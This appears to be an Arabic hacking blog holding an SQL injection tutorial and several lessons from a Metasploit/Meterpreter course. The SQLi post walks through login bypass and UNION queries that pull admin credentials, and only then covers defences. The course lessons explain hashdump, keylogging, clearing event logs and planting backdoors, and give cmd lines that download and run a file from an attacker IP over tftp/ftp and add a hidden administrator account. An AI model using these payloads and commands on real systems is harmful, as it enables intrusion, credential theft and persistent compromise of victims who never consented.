نحن لاندعي الذكآء.! ولكن نسعى.. لتحطيم الاذكيآ

anonymous

الاثنين، 9 مايو 2016

ثغرة حقن قاعدة البيانات : Sql Injection

 

 

ثغرة حقن قاعدة البيانات : Sql Injection

بتاريخ: 18-08-2015   

حقنة SQL أو SQL injection : هي طريقة لاستغلال ثغرة محتملة في جميع التطبيقات التي تتعامل مع قاعدة البيانات . من ضمن هذه التطبيقات نجد مواقع الويب . إذ يمكن للمهاجم التعامل مباشرة مع قاعدة البيانات و إجراء استعلامات غير متوقعة من طرف المبرمج ، كالولوج و سرقة البيانات ، و إدخال بيانات جديدة أو تعديل البيانات السابقة أو حذفها .
العثور على هذه الثغرة في تطبيقة ما و استغلالها . أمر لا يحتاج إلا لمعارف متواضعة . كطرق إجراء الإستعلام و التعامل مع قاعدة البيانات .
سبب وجود هذه الثغرة يعود إلى عدم حماية البيانات أثناء التعامل مع القاعدة . إما عن غير قصد ، و غالبا عن الجهل الذي يخيم على "المبرمج" . فلا غرابة أن نجد هذه الثغرة في الكثير و الكثير من المواقع . رغم أنها من أقدم الثغرات ، و طرق حمايتها لا يتطلب جهدا و خاصة أثناء إنجاز المشروع
تعتبر هذه الثغرة الأكثر خطورة حسب ترتيب OWASP، نظرا لتمكن المهاجم من استغلال قاعدة البيانات .
سنتعرف عن طرق إيجاد المواقع المصابة بهذه الثغرة ، و طرق استغلالها و الحماية منها .

هل موقعي مصاب ؟

إذا كنت تستعمل الطرق القديمة للإستعلام باستعمال Mysql أو Mysqli فهناك احتمال بأن يكون موقعك مصاب إن لم تحم جميع استعلاماتك الموجهة لقاعدة البيانات بطريقة صحيحة . أمّا إن كنت تستعمل MySQLi أو PDO مع تهييء الإستعلام ، غالبا موقعك محمي من هذه الثغرة .

معرفة المواقع المصابة

لمعرفة المواقع المصابة ، نستعمل مجرد علامة الإقتباس السحرية ( ' ) لإجراء إحدى الإختبارين :
  • إما إضافة علامة الإقتباس لعناوين الويب على هذا الشكل :
    http://example.kom/article.php?id=25'
  • أو إضافتها لحقل من حقول الإستمارات :
إذا حصلت على خطأ SQL شبيه بهذا ، فالموقع مصاب بالثغرة .
Error SQL !
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ''...

يمكننا إستغلا الثغرة إما عبر الإستمارة أو عنوان الويب . سندرس مثالا لكل حالة .

مثال استغلال ثغرة SQL عبر الإستمارة

لنأخذ على سبيل المثال الشيفرة أسفله ، و التي تضم استمارة الدخول و تقوم أيضا بمعالجتها .
:
<?php 
$db = mysql_connect('localhost', 'root', '');
mysql_select_db("injection");

if(isset($_POST['submit'])) {

  $nom = $_POST['name'];
  $pass = $_POST['pass'];

  $sql = "SELECT name, pass
          FROM   users
          WHERE  name = '$nom'
          AND    pass = '$pass'";
   
  $req = mysql_query($sql) or die('Error SQL !<br>'.$sql.'<br>'.mysql_error()); 

  while($data = mysql_fetch_array($req)) 
  {
     echo 'Hello : name = <b>'.$data['name'].'</b> ; password = <b>'.$data['pass'].'</b><br>'; 
  }      
  mysql_close($db);
}
else
{
?>
<form action="" method="POST">
  <p>Username: <input type="text" name="name" /></p>
  <p>Password: <input type="password" name="pass" /></p>
  <p><input type="submit" name="submit" value="تسجيل الدخول" /></p>
</form>
<?php 
}
هذا السكريبت يتضمن على الثغرة (لتجربة السكريبت ، أنشيء جدولا في القاعدة ثم أضف إليه بعض الإدخالات) ، للتأكد من ذلك ، سنضيف علامة ' في الحقل الأول مثلا ثم نرسل الإستمارة ، سنحصل على الخطأ السابق .
لاستغلال الثغرة ، في مثالنا سنحاول تسجيل دخولنا بدون إسم صحيح أو كلمة مرور :
في الحقل الأول للإستمارة أدخل أي إسم مثلا "admin" . و في حقل كلمة المرور ، أدخل الشيفرة التالية :
' or '1'='1
سنتمكن بكل تأكيد من ربط الإتصال رغم أن بياناتنا ليست صحيحة . رغم أن الإستعلام في السكريبت واضح و منطقي ، فهو يأمر قاعدة البيانات لاختيار البيانات فقط إذا كان الإسم و كلمة المرور التي أرسلها العضو مطابقة تماما للموجودة في القاعدة .
ما الذي حدث بالضبط عندما أضفنا الشيفرة (' or '1'='1) في حقل كلمة المرور ؟
لقد تحايلنا على التعليمة WHERE الموجودة في الإستعلام السابق . بإضافة الشيفرة العجيبة نكون قد قدّمنا إستعلاما كالتالي .
$sql = "SELECT name, pass
        FROM   users
        WHERE  name = 'admin'
        AND    pass = '' 
        OR '1'='1'
      "
علامة الإقتباس الأولى في الشيفرة السابقة ، أتاحت إنهاء عمل التعيمة AND مسفرة عن قيمة فارغة و أتاحت لنا أيضا إضافة استعلام جديد و هو or '1'='1'
بهذا أصبح استعلام طلب الدّخول دائما صحيحا فهو يعني : اختيار البيانات إذا كان الإسم هو admin (و) كلمة المرور فارغة (أو) 1=1
1=1 شرط صحيح للأبد .
هذا المثال البسيط يلخص دور علامة الاقتباس البسيطة في تغيير مجرى الإستعلام كليا ليشكل خطرا جسيما على كل الموقع .
بعد فهم دور علامة الإقتباس السحرية في إتاحة تمديد الإستعلام الأصلي ، نتقل الآن لرؤية حالة متقدمة من الإستغلال عبر عنوان الويب .

إستغلال ثغرة SQL عبر عنوان الويب

أسهل الطرق المستعملة من قبل المهاجم لإيجاد ثغرة حقنة sql في المواقع المصابة ، هي استعمال دوركات google . أعطيكم بعض الأمثلة لهذه الدوركات :
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=

لن أسرد كل هذه الدوركات فهي كثيرة ، للحصول على اللائحة كاملة ، ما عليكم سوى البحث عنها في محرك البحث google بإستعمال كلمات بحث شبيهة بهذه "sql injection dorks" .

تذكير : هذا الدرس تربوي ، يروم لفهم الثغرة جيدا و كيف يمكن للمهاجم استغلالها . و من ثم سرد الطرق الناجعة لحمايتها .
لهذا أنصحكم إذا رغبتم في تجربة الثغرة من الأجدى فعل ذلك على خادومكم المحلي . لأن الناس لا يحبذون أن تعبثوا بمواقعهم . وهناك قوانين صارمة في هذا المجال حسب بلدكم .
يأخذ المهاجم أي واحد من هذه الدوركات و يضعها في محرك البحث google الذي سيعطيه جميع المواقع التي تشبه عنوان الويب الذي يبحث عنه . و هنا نصل إلى أهم نقطة : لمعرفة هل الموقع مصاب أم لا ؟ سيضيف علامة ' في آخر العنوان على الشكل التالي :
http://example.kom/article.php?id=25'
بإضافة علامة ' إذا لم يطرأ أي تغيير على الصفحة المعنية ، هذا يعني أن الموقع ليس مصابا . أما إذا حصل على خطأ SQL شبيه بهذا :
Error SQL !
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near...

يعني أن الموقع مصاب بالثغرة و يمكن للمهاجم استغلالها . ليس بالضرورة أن يحصل على نفس الخطأ أعلى . أيّ خطأ ينجم عن sql ينم عن وجود الثغرة
(في بعض الحالات يطرء تغيير على الصفحة لكن دون عرض أي خطأ و هذا ينجم عن وجود الثغرة لكنها ليست ظاهرة و تسمى في هذه الحالة :
BLIND SQL INJECTION . طرق استغلالها تختلف عن التي سنراها أسفله .)
بعد إيجاد الثغرة ، ننتقل لمعرفة كيفية استغلالها .
لاستغلال الثغرة يتبع المهاجم استراتيجية تضم مجموعة من الخطوات : تبدأ بمعرفة عدد الأعمدة الموجودة في القاعدة ثم الجداول التي تتضمن الثغرة و كذلك معرفة إسم مستخدم القاعدة و رقم الإصدار . بعدها يقوم بعرض أسماء الجداول و محتوياتها . كل هذه العمليات يتم تنفيذها مباشرة في عنوان الويب "URL" للموقع المصاب ، أي أن استغلال قاعدة البيانات و إجراء الإستعلامات تُنفذ مباشرة من شريط عناوين المتصفح .

معرفة عدد أعمدة قاعدة البيانات

لمعرفة عدد أعمدة قاعدة البيانات يستعمل التعليمة "Order By" كالتالي :
http://exampleSite.com/article.php?id=25 order by 1--
يبدء بواحد ، و يقوم في كل مرة برفع هذه القيمة
http://exampleSite.com/article.php?id=25 order by 2--
إذا تم عرض الصفحة بطريقة عادية ، يقوم برفع هذا العدد حتى يحصل على خطأ . لنفترض أنه وصل إلى 8 ثم حصل على خطأ :
http://exampleSite.com/article.php?id=25 order by 8--
إذا حصل على خطأ شبيه بهذا
Database error: Unknown column '8' in 'order clause'
هذا يعني أن العمود رقم 8 غير موجود في القاعدة ، بهذا يكون قد حدد عدد الأعمدة و هو 7 في مثالنا .
ملاحظة : بالنسبة لعلامتي "--" فهي عبارة عن علامتي الملاحظات يمكننا أيضا استبدالهما بعلامتي /* ، فهي تلغي كل ما يأتي بعدها و تعتبره ملاحظات .
بعد معرفة عدد الأعمدة ، ينتقل لمعرفة الأعمدة التي تتضمن الثغرة

معرفة الأعمدة التي تتضمن الثغرة

لمعرفة الأعمدة التي تتضمن الثغرة ، يلجأ للتعليمة "UNNION ALL SELECT"
article.php?id=25 union all select 1,2,3,4,5,6,7--
بعد تنفيذ هذا الإستعلام ، يبحث جيدا في الصفحة عن أي رقم قد يظهر فجأة في مكان ما . يمكن أن يكون رقما واحدا أي أنه وجد عمودا واحدا فقط يتضمن الثغرة ، أو قد يحصل على مجموعة من الأعمدة . لنفترض أن رقمي 4 و 6 ظهرا على الصفحة . يمكنه استغلال أي عمود منهما لإجراء باقي الإستعلامات .
ملاحظة : إذا لم يحصل على أي رقم ، يضيف فقط علامة ناقص "-" بعد علامة تساوي ، و سيتم حل المشكلة :
id=-25 union all select 1,2,3,4,5,6,7--

معرفة إسم المستخدم و رقم إصدار SQL

لمعرفة رقم الإصدار "version" أو إسم مستخدم قاعدة البيانات "user" . يعتمد على إجراء الإستعلام في أحد الأعمدة التي تتضمن الثغرة ، مثلا في العمود رقم 4 في مثالنا أو 6 :
لمعرفة إسم المستخدم يستعمل إما user() أو @@user()
لمعرفة رقم الإصدار يستعمل version() أو @@version()
article.php?id=-25 union all select 1,2,3,version(),5,6,7--
سيحصل مثلا على رقم إصدار شبيه بهذا : 5.5.35
إذا كان رقم الإصدار 4 أو أقل سيحتاج إلى تخمين أسماء الأعمدة و الجداول عبر تقنية "brute force" ، توجد برانم تُستعمل لذلك
أما إذا كان الإصدار 5 أو أكبر (كما هو الحال على أغلب الخوادم حاليا) كما في مثالنا يمكنه متابعة استعمال تقنيات الإختراق الموالية .

عرض جميع أسماء الجداول دفعة واحدة

لعرض جميع أسماء الجداول الموجودة في القاعدة :
article.php?id=-25 union all select 1,2,3,group_concat(table_name),5,6,7 from information_schema.tables where table_schema=database()--

عرض جميع أسماء أعمدة الجداول دفعة واحدة

لمعرفة أسماء جميع أعمدة الجداول في القاعدة :
article.php?id=-25 union all select 1,2,3,group_concat(column_name),5,6,7 from information_schema.columns where table_schema=database()--

عرض أسماء الجداول ، جدولا تلو الآخر

لعرض جدول واحد فقط كل مرة ، يستعمل التعليمة LIMIT ، مثلا لعرض إسم الجدول الأول :
article.php?id=-25 union select 1,2,3,table_name,5,6,7 TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database() LIMIT 0,1--
إستعملت "UNION SELECT" بدل "UNION ALL SELECT" و "table_name" بدل group_concat(table_name) لعرض جدول واحدا فقط . لعرض أكثر من جدول يتم استعمال الطرق الأولى .
لعرض إسم الجدول الثاني ، يقوم بتغيير القيمة الأولى ل LIMIT : LIMIT 1,1-- و هكذا دواليك

عرض أسماء الأعمدة لجدول واحد فقط

لنفترض أنه وجد جدولا إسمه "admin" و أراد عرض جميع الأعمدة التي يحتوي عليها :
id=-25 union all select 1,2,3,group_concat(column_name),5,6,7 FROM information_schema.columns WHERE table_name = admin--
في أغلب الحالات بدل الحصول على أسماء الأعمدة سيحصل على خطأ شبيه بهذا :
Database error: Unknown column 'admin' in 'where clause'
لتفادي هذا الخطأ و عرض أسماء الأعمدة يجب تحويل إسم الجدول إلى صيغة MySql CHAR() . يوجد برنام يقوم بهذا الدور ، و هو عبارة عن إضافة "addon" موزيلا فايرفوكس تجدونها باتباع الرابط التالي : hackbar
بعد تنصيبها سيتطلب منكم إغلاق متصفح mozilla firefox و إعادة فتحه . لاستعمال الإضافة الجديدة :
1 - أنقر على F9
2 - ستحصل على الخدمات التي تقدمها هذه الإضافة ، أنقر على : "SQL"
3 - ثم اختر : "MySQL" ثم MySql CHAR()
4 - ستظهر لديك نافذة جديدة ، أدخل فيها إسم الجدول الذي ترغب تحويله ، في مثالنا إسمه "admin" بعد النقر على الموافقة ستحصل على الإسم الجديد على شكل أرقام كالتالي : CHAR(97, 100, 109, 105, 110) .
هذا الإسم هو الذي سيتم استعماله في الإستعلام لتجاوز مشكلة ترميز قاعدة البيانات :
id=-25 union all select 1,2,3,group_concat(column_name),5,6,7 FROM information_schema.columns WHERE table_name = CHAR(97, 100, 109, 105, 110)--

إستخلاص محتوى الأعمدة

لنفترض أنه وجد هذه الأعمدة في جدول "admin" :
id, username, password, email
لقد وصل إلى أهم مرحلة و هي استخلاص جميع بيانات الجدول ، للحصول على محتوى الأعمدة سيقوم بعرضها على المتصفح باستعمال الإستعلام التالي :
id=-25 union all select 1,2,3,group_concat(username,0x3a,password,0x3a,email),6,7 from admin--
سنكتفي بهذا القدر . إعلموا أنه يمكن أيضا (في بعض الحالات) إستعمال التعليمات DELETE و UPDATE و DROP لحذف أو تعديل البيانات أو إفراغ جدول ما .
ننتقل لجوهر هذا الموضوع و معرفة كيفية حماية الموقع من ثغرة حقنة SQL .

حماية ثغرة SQL Injection

لمستخدمي mysql

لمستخدمي SQL بالطريقة القديمة كما رأينا في هذا الدّرس . يجب إضافة الدالة mysql_real_escape_string() لجميع البيانات أثناء التعامل مع القاعدة ، مثال :
$nom = mysql_real_escape_string($_POST['name']);
$pass = mysql_real_escape_string($_POST['pass']);
ملحوظة !!! منذ إصدار PHP 5.5.0 لم يعد مُحبّذا استعمال mysql_real_escape_string و mysql .
لهذا يجب التفكير جدّيا للإنتقال إلى استعمال MySQLi أو PDO .

لمستخدمي PDO

لمستخدمي PDO أنتم محميون من هذه الثغرة ، إذا كنتم تهيئون الإستعلام أثناء التعامل مع قاعدة البيانات .
<?php 
try 
{
  $db = new PDO('mysql:host=localhost;dbname=test;charset=utf8', 'root', '');
} 
catch(PDOException $e)
{
    die('خطأ : '. $e->getMessage());
}

 $nom= $_POST['name'];
 $pass = $_POST['pass'];

 $response= $db->prepare('SELECT * FROM users
                   WHERE name = :pseudo AND pass = :pa
                  ');
    $response->bindValue(':pseudo',$nom,PDO::PARAM_STR);
    $response->bindValue(':pa',$pass,PDO::PARAM_STR);
    $response->execute();
    $member = $response->Fetch();
    $response->CloseCursor();
//...

لمستخدمي mysqli بدون تهيئ الإستعلام

إستعمل التعليمة mysqli::escape_string
<?php
//...

$nom= mysqli->real_escape_string($_POST['name']);
$pass= mysqli->real_escape_string($_POST['pass']);

لمستخدمي MysQli مع تهييء الإستعلام

أنتم محميون من الثغرة
<?php 
$db= new mysqli($localhost, $user, $password, $db_name);

if (mysqli_connect_errno()) {
    printf("خطأ : %s\n", mysqli_connect_error());
    exit();
}

 $nom= $_POST['name'];
 $pass = $_POST['pass'];

$stmt = $db->prepare('SELECT * FROM users WHERE name = ? AND pass = ?');
$stmt->bind_param('s', $nom);
$stmt->bind_param('s', $pass);

$stmt->execute();

$result = $stmt->get_result();
while($row = $result->fetch_assoc()) {
    // ...
}
هنا ينتهي هذا الدرس ، إلى فرصة قادمة لمعالجة ثغرة أخرى بحول الله .

Share:

الأحد، 8 مايو 2016

دوره الميتاسبلوت

السلام عليكم ورحمه الله وبركا
ته .

اليوم راح ندخل عالم الميتاسبلويت عن طريق Meterpreter

Meterpreter 

يقصد به M3tasploit-interpreter وهو عباره عن Payload عجيب جدآ وقوي بشكل لا يتصور 

اذ لم تخني الذاكره , قام ببرمجته شخص يدعى skape واتوقع انه انسحب الان من فريق الميتاسبلويت .


هو عباره عن ملفات DLL يتم حقنه في البروسس الذي تم اختراقه (بعض المرات لا)

بمعنى اخر شغلنا خدمه FTP والبروسس راح يكون 563 , المتيربريتر راح ينحقن بنفس البروسس

لذلك انتبه اذا صار crash او من هذا القبيل 


شغله على الذاكره ولا يمس الهاردسك الا اذا امرته انت ! ( ميزه قويه )

كل اسبوع يصير فيه تطوير ويزيد في قوته كل مره لذلك be in touch with the meterpreter

اوامره عديده , وبمكأنك تجربتها جميعها لكن راح اشرح على السريع لبعض منها ونترك التجربه للباقي لك !
كود PHP:
meterpreter help

Core Commands 
=============

    
Command       Description
    
-------       -----------
    ?             
Help menu
    background    Backgrounds the current session
    channel       Displays information about active channels
    close         Closes a channel
    
exit          Terminate the meterpreter session
    help          Help menu
    interact      Interacts with a channel
    irb           Drop into irb scripting mode
    migrate       Migrate the server to another process
    quit          Terminate the meterpreter session
    read          Reads data from a channel
    run           Executes a meterpreter script
    
use           Load a one or more meterpreter extensions
    write         Writes data to a channel


Stdapi
File system Commands ============================

    
Command       Description
    
-------       -----------
    
cat           Read the contents of a file to the screen
    cd            Change directory
    del           Delete the specified file
    download      Download a file 
or directory
    edit          Edit a file
    getlwd        
Print local working directory
    getwd         
Print working directory
    lcd           Change local working directory
    lpwd          
Print local working directory
    ls            
List files
    mkdir         Make directory
    pwd           
Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    upload        Upload a file 
or directory


Stdapi
Networking Commands ===========================

    
Command       Description
    
-------       -----------
    
ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View 
and modify the routing table


Stdapi
System Commands =======================

    
Command       Description
    
-------       -----------
    
clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token
.
    
execute       Execute a command
    getpid        Get the current process identifier
    getprivs      Get 
as many privileges as possible
    getuid        Get the user that the server is running 
as
    
kill          Terminate a process
    ps            
List running processes
    reboot        Reboots the remote computer
    reg           Modify 
and interact with the remote registry
    rev2self      Calls RevertToSelf
() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    sysinfo       Gets information about the remote system
such as OS


Stdapi
User interface Commands ===============================

    
Command        Description
    
-------        -----------
    
enumdesktops   List all accessible desktops and window stations
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump they keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    setdesktop     Move to a different workstation 
and desktop
    uictl          Control some of the user 
interface components


Priv
Elevate Commands ======================

    
Command       Description
    
-------       -----------
    
getsystem     Attempt to elevate your privilege to that of local system.PrivPassword database Commands ================================

    
Command       Description
    
-------       -----------
    
hashdump      Dumps the contents of the SAM database


Priv
Timestomp Commands ========================

    
Command       Description
    
-------       -----------
    
timestomp     Manipulate file MACE attributes

meterpreter 
>  

نأخذ المهمه ,

sysinfo 

يخرج لنا معلومات النظام , وهذي مهمه جدا , لان قبل ما نشتغل بضحيتنا لازم نعرف نظامه XP or vista

لان حمايتهم تختلف ممكن تعمل شيء مريب بالنسبه لنظام vista وعادي XP , وراح يطير الشل !


shutdown /reboot

اطفاء الجهاز او اعاده تشغيله ,,

ابتعد عن هذي بقدر المستطاع , لان مش من صالحنا نغلق الجهاز او نعيده !

reg 

التعديل على الريجستري او قراته , مفيده جدا سواء تركيب backdoor ليتم عمله كل بأنتظام !


cd 

التنقل بين المجلدات

lcd

local cd , التنقل في المجلدات لكن في جهاز المهاجم


getwd / pwd


طباعه المجلد اللي شغالين عليه


ls

استعراض الملفات


cat 

قراءه ملف معين

download / upload 

رفع الملفات او تنزيلها وهذي مهمه سواء لرفع مثلا backdoors او لتنزيل ملفات مهمه لدى الضحيه !


mkdir /rmdir

حذف مجلد او عمل مجلد جديد !


edit 

التعديل على ملف ويشبه vi في الليونكس

getpid الحصول على البروسس رقم اللي شغالين عليه

getuid

حصول اليوزر اللي شغالين عليه

execute 

تشغيل برنامج مثلا !

kill 

قتل بروسس

ps 

استعراض البروسس

shell 

الدخول على سطر اوامر الضحيه


migrate الحقن في بروسس , خطيره وقويه مفيده للتخفي بعد 


ipconfig 

مثل امر الوندوز 

portfwd

قويه ايضا , تعمل forward للباكت من جهاز الضحيه الا جهاز اخر (من بورت كذا الى بورت كذا على الجهاز الاخر )

بمعنى اخر اخترقنا شخص نخترق من معاه بالشبكه 


route 

اظهار وتعديل جداول الراوت .

use 

تنزيل مودلز , وطبعا كل مودل له قوته :D

run 

تشغيل سكربتات المتيربريتر , السكربتات قويه جدا 


idltime

الامر هذا احبه صراحه , مره تناقشت مع واحد كندي , قلت له الامر هذا قوي جدا وبعض المرات

يجعلني استغل عن اوامر المتيربرتر , المهم صارت محاده حتى اقتنع 


لا تحسبون الامر هذا يسوي باكدور , لا الامر هذا ببساطه , يشوف الضحيه من متىى ما لمس الكيبورد والماوس 

البعض يقول ماله فايده , انا اقولك , لو ان الضحيه له ساعتين ما لمس الكيبورد والماوس !

يعني ان الضحيه غير موجود !

طيب لو نسوي لو نتحكم جهازه عن طريق vnc , راح ننزل برامج , باكدور , اي شيء

كأنك جالس على جهاز الضحيه وتخليه قابل للاختراق من جديد 



uictl

تعطيل الماوس او الكيبورد , ما انصح لانها شغل اطفال , مثل فتح السيدي ومن هالكلام ,

انت كهكر , اخترقت الضحيه لتأخذ معلومه معينه ثم تختفي وكأن شيء ما صار 

hashdump 


ما يعرف قيمته غير اللي مجربه ! 

اداه خياله صراحه , فائدته اظهار الهاشات الموجود في قاعده بينات SAM






فوائده لا تحصى ,, اولا استخراج باسورد الادمن , استخدام windows/smb/psexec

او بما يعرف pass the hash attack , تركيب خدمه تلنت بدون عمل يوزر جديد ! 



تعالو نفك الهاش




مثل ما تشوفون , عرفنا الباسورد 


الدرس يطول لكن راح نكمل في الدرس التاسع


سؤال اليوم :


جهازك ليونكس , وجهاز شخص اخر على نفس الشبكه وندوز xp وخدمه تلتنت مفعله, استغليت ثغره ms08 للـ smb ما نفعت, عملت password attacks على الخدمه ما نفعت


, فجأءه لاحظت ان الضحيه عامل مشاركه لجميع ملفاته لكن ما يحق لك التعديل على ملف !

كيف نخترقه !

< المشكله هذي قد واجهتها
 



SiLv3r00t

V4-team.com

الدرس السابع : مهم , ثغرات خارجه عن ايطار الميتاسبلويت

السلام عليكم ورحمه الله وبركاته

درسنا اليوم مهم جدا لعده اسباب ,

قبل لا ابدأ صارت الاسأله كثيره بالرسايل الخاصه لدرجه ان نصف الاسأله متشابهة بكل مره

لذلك اي سؤال رجاء يطرح بالموضوع المخصص ,

المهم نرجع لمحور حديثنا , اسباب كتابتي للدرس :

1- ايضاح ان الميتاسبلويت الطريقه الوحيده 

2- توضيح لاغلب الثغرات التي نستخدمها

3- شرح للثغرات التي لا تستخدم shellcode 


نبدأ وعلى بركه الله ,,


اغلب الاشخاص يظن ان كلمه الاختراق مربوطه بالميتاسبلويت وهذا خطأ !

الميتاسبلويت اداه قويه لكن هنالك ثغرات ليست بالميتاسبلويت وبعض المرات تعتبر من 0-day


لذلك سأشرح شرح سريع للتعامل مع الثغرات خارج ايطار الميتاسبلويت !


1- ثغرات خارج الميتاسبلويت 


نأخذ مثلا ثغره

http://www.exploit-db.com/exploits/11204

هذه الثغره في برنامج AOL والبرنامج مشهور 

على العموم افتح الثغره , راح تلاحظ ActiveX او حتى html , بعد الملاحظه راح نعرف ان الثغره تستغل

عن طريق المتصفح , بمعنى ادق الضحيه راح يتصفح هذه الصحفه ونستغل عن طريقها

victim ------------------------> attacker


victim ----------------------------------> attacker
......................---------------------------------->

نلاحظ ان اول السينارويو ,

1- الضحيه اتصل بالمهاجم
2- المهاجم ارسل الثغره وبنفس الوقت الضحيه شغل الثغره 
3- حصلتا على اتصال عكسي

نستنج ان هذه الثغره من نوع client-side attack .

نذهب الى shellcode , كيفيه تغييره

دائما بأستغلال الثغره يكتب المكتشف shellcode = او ممكن يكتب الاسم غير لكن دائما تكتب على هذا الشكل .

لكن الـ shellcode في هذه الثغره كيف اكتبه , شكله غريب ؟!

shellcode في هذه الثغره مكتوب على الجافاسكربت وممكن تستخدم اداه msfpayload .


2- توضيح لاغلب الثغرات 

الثغرات تنقسم الى قسمين اساسيين غير الاقسام في الدرس الثاني .

توضيح: القسمين هذا عام بمعنى مثال مع فارق التشبيه , الانسان يا مسلم يا كافر

اذا كان مسلم يكون مثلا سني او شيعي واذا كان كافر ممكن يكون يهودي نصراني . 

المهم 

A - ثغرات تكون تحت مظله server-side attacks

من اسمها 

المهاجم يرسل الاستغلال مباشره للضحيه

attacker -----------------------> victim

ثم من بعدها يشغل الشل كود .

B - ثغرات تكون تحت مظله client-side attacks 

وهذه العكس لان الضحيه يتصل بالمهاجم ومن ثم يتم الاستغلال

victim -----------------> attacker

ومن ثم يتم تشغيل الشل كود .


استغلال الثغرات تكون مكتوبه بلغات مختلفه perl ,python ,c , ruby etc 

وغالبا كاتب الاستغلال يكتبها بالبدايه .. وايضا بأمكانك معرفتها بنفسك .


3- ثغرات لا تستخدم shellcode او بعض المشاكل التي تواجه الـ shellcode 


http://www.exploit-db.com/exploits/11151

ننظر الى هذه الثغره مثلا ,

مكتشفه من الاخ , عبدالله.. 

المهم لو تابعنا الثغره مالها shellcode هل نعتبر ان الثغره غبيه اكيد لا .

بعض الثغرات تستعمل shellcode لكن حين نستخدم bindshell راح يحظره الجدار الناري


attacker --------------------X| victim


البعض يقول نستخدم reverseshell او اتصال عكسي , نستخدم لكن بعض المرات الجدار الناري يحظر الاتصال الخارج .

attacker------------> | X <-- victim

مافيه الا find socket shellcod وهذا له ايضا مشاكله الخاصه

بقى عندنا نستخدم code execution shellcode 

الثغره اللي بالسابق تستعمل code execution لذلك راح نستخدم بعض الاوامر اللي تفيدنا بأختراق

الضحيه .

اولا الثغره تستخدم لتشغيل مثلا cmd***** بمعنى اخر بأمكاننا التحكم بالاوامر 


1- تحميل الملف ومن ثم تشغيله عن طريق tftp .

نقدر نحمل ملف ونشغله عن طريق tftp

مطلباته وجود tftp client على جهاز الضحيه وايضا tftp server على جهاز المهاجم

استعماله يكون مثلا
كود PHP:
arg1="c:\WINDOWS\system32\cmd***** /c tftp -i attacker_IP GET file***** && file*****"  

2- تحميل الملف ومن ثم تشغيله عن طريق ftp .

مطلباته يكون عند الضحيه ftp client 

طريقه الاستخدام ftp -s:attacker.txt

مثال

arg1="c:\WINDOWS\system32\cmd***** /c echo open ×.×.×.× 21 > silv3r00t.txt && echo USER silv3r00t >> silv3r00t.txt && echo bin >> silv3r00t.txt && echo GET silv3r00t***** >> silv3r00t.txt && echo bye >>silv3r00t.txt && ftp:-s silv3r00t.txt && silv3r00t*****"




نشرحه على السريع .


لزم تكتب بلمف تكست عن طريق االاوامر هذي

echo open ×.×.×.× 21 > silv3r00t.txt

طبعا الان كتبنا امر يفتح الموقع الفلاني على البورت 21 = اف تي بي

echo USER silv3r00t >> silv3r00t.txt

اليوزر نيم حق حسابي ,,

echo PASS silv3r00t >> silv3r00t.txt

الباسورد حقي للحساب ,,


echo bin >> silv3r00t.txt

طبعا الان على وضع باينري ,,

echo GET silv3r00t***** >> silv3r00t.txt

الان حنا سحبنا الملف ,,

echo bye >>silv3r00t.txt
هذا خروج من ftp

ftp -s:silv3r00t.txt

تحميل الملف

silv3r00t*****

نشغل الملف ..

3- الطريقه الثالثه هي اضافه يوزر 

اضافه يوزر اسهل طريقه لكن مشكلتها ان المهاجم يكون على نفس الشبكه .


وهي على هذا الشكل

net user userna me password /add
net localgroup Administrateurs userna me /add 


مثال
كود PHP:
arg1="c:\WINDOWS\system32\cmd***** /c net user silv3r00t 123 /add && net localgroup Administrateurs silv3r00t /add "  

نروح لسؤال اليوم 


1- اكتب خطوات كل من

أ- تفعيل خدمه telnet بأستخدام sc

ب- عمل يوزر للدخول على خدمه telnet

ج- فتح بورت في الجدار الناري يسمح البورت 23 و السماح بـ IP واحد فقط للدخول على البورت 


صحيح انه شوي صعب لكن بالتوفيق 


SiLv3r00t
V4-team.com

الدرس السادس : استغلال الثغرات والمشاكل التي نواجهها

السلام عليكم ورحمه الله وبركاته

الدرس هذا ما كان بخطة الدوره لكن بعد الاسئله عن كيفيه استغلال الثغره والمشاكل التي تواجها , قررت اكتب هذا الدرس .

على العموم اعتذر على التأخر , لكن الدراسه وما تعمل . 



استغلال الثغره اسهل مما تتصور .

بعد ما اخترنا الثغره عن طريق الامر use

بعد ما اخترنا الثغره نكتب show option




بعد ما نظرنا للمتغيرات

راح نجد RHOST

وتعني دائما اي بي الضحيه

ٌRPORT

وتعني دائما بورت الضحيه , غالبا ما انصح بتغييره الا اذا كانت الثغره تعمل على اكثر من بورت

بعدها نضع لكل المتغيرات قيمه . 
كود PHP:
set rhost اي بي الضحيه  
كود PHP:
set rport بورت الضحيه  
بقي الان لنا payload

كود PHP:
set payload payload na me  

نكتب

show options



ظهرت لنا خيارات جديده وهي خيارات payload

LHOST وتعني ip المهاجم ,

LPORT وتعني بورت المهاجم
كود PHP:
set lhost اي بي المهاجم  
كود PHP:
set lport بورت المهاجم  

ثم اخر شيء نكتب exploit

ونشغل الثغره 

ما اتوقع ان في اداه استغلالها اسهل من هذا , حتى البايزون التعامل معه اصعب 


1- نختار الثغره 
كود PHP:
use windows/smb/smb  

2- ننظر الى متطلبات الثغره

كود PHP:
show option  

3- نضع القيم للمتغيرات

كود PHP:
set المتغير Abc  
4- نختار payload 
كود PHP:
set payload windows/meterpreter  


5- نضع المتغيرات للـ payload 
كود PHP:
set المتغير abc  

6- نستغل الثغره 

كود PHP:
exploit  


استغلينا الثغره هل اخترقنا الضحيه ؟!

اذا قال عندك sessions open

عندك ضحيه , اذا ما قالها , يعني ما حصل شيء ,


طيب كيف نستغل الثغره ونعرف انها شغالها , عن طريق الفحص , افحص ضحيتك قبل الهجوم ,

وقبل تفحص ضحيتك , اجمع معلومات عنه .

عندك nmap nessus او amap , لا تهجم قبل تتأكد من ان البورت مفتوح وان النظام معروف

ممكن تخمن النظام عن طريق nmap ويعطيك النظام المتوقع , لكن اذا كان خدمه smb

